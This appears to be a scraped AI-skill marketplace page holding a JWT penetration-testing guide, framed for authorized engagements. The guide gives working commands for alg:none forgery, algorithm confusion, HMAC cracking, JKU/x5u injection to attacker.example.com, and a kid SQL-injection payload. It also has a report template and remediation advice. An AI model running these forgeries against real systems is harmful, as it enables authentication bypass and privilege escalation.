[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GSZ0ZNE7KCB38SS5XRYV0":3,"skill-same:01M71GSZ0ZNE7KCB38SS5XRYV0":96},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":14,"repositoryHtmlUrl":72,"repositoryHomepageUrl":6,"ownerHtmlUrl":73,"ownerBlogUrl":6,"ownerDescription":74,"updatedAt":75,"install":76,"resources":89},"01M71GSZ0ZNE7KCB38SS5XRYV0","auth-jwt-tokensec-exploit",null,"Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fjwt\u002Ftokensec\u002Fexploit\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"exploit","auth jwt tokensec exploit","jwt","auth","for","application-security","pr","web-application-security","penetration","attacks","sonnet","security","token","read","de","Bash","cybersecurity","testing","authentication","cm","2026-11-10 10:12:30",false,"---\nname: auth-jwt-tokensec-exploit\ndescription: Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- jwt\n- authentication\n- web-security\n- token-security\n- burpsuite\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1550\ncwe:\n- CWE-347\ncapec: []\n---\n\n# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n","# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n",{"cwe":49,"name":5,"tags":51,"capec":56,"model":34,"tools":57,"domain":40,"maxTurns":61,"nist_csf":62,"subdomain":31,"description":7,"mitre_attack":67},[50],"CWE-347",[52,26,42,53,54,55],"penetration-testing","web-security","token-security","burpsuite",[],[58,39,59,60],"Read","Glob","Grep",20,[63,64,65,66],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[68],"T1550","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fauth\u002Fjwt\u002Ftokensec\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":77,"prompt":87,"zipAvailable":88},[78,81,84],{"tool":79,"command":80},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill auth-jwt-tokensec-exploit",{"tool":82,"command":83},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill auth-jwt-tokensec-exploit",{"tool":85,"command":86},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill auth-jwt-tokensec-exploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fjwt\u002Ftokensec\u002Fexploit\u002FSKILL.md",true,[90],{"path":91,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"index.json","REFERENCE","参考文档",675,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fjwt\u002Ftokensec\u002Fexploit\u002Findex.json",[97,120,140,161,181,197],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[104,105,106,107,108,38,43,109,110,111,112,113,114,115,116,117,118,40,119],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team 